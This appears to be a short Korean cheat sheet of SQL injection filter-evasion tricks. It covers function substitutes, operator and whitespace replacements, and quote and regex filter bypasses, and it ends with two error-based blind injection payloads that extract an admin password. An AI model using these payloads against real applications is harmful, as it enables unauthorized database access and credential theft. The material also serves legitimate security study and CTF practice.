SQL Injection 필터링 우회
1. substr 우회
right, left, mid 사용
substr('apple',1,1) = 'a' -> right(left('apple',1),1) = 'a'
substr('apple',1,1) = 'a' -> mid('apple',1,1) = 'a'
2. ascii 우회
ord, hex 사용
ascii(substr(pw,1,1)) = ord(substr(pw,1,1))
3. =, like, or, and 우회
= : like, between, in, instr 이용
or : || and : &&
4. 빈칸(공백) 우회
' ' : ( ), /**/, %09, %0a, %0c, %0b, +
- HT(Horizontal Tab) = 수평탭, LF(Line Feed), VT(Vertical Tab) = 수직탭, FF(Form Feed)
5. ' (작은따옴표) 우회
char 이용 or " (큰따옴표) 사용
6. ereg, eregi 우회
- 특수문자 = %00 이용
- 문자열 = 대소문자 변경
7. preg_match 우회
\ 이용
8. 에러 발생 시 에러를 보여주지 않고 그냥 exit()로 종료 시킬 때
- error based blind 기법 활용
ex) ' or id='admin' and if(substr(hex(pw),1,1)='1',(select 1 union select 2),2)#
ex) ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)# <- if나 case 등 조건문이 필터링되었을 경우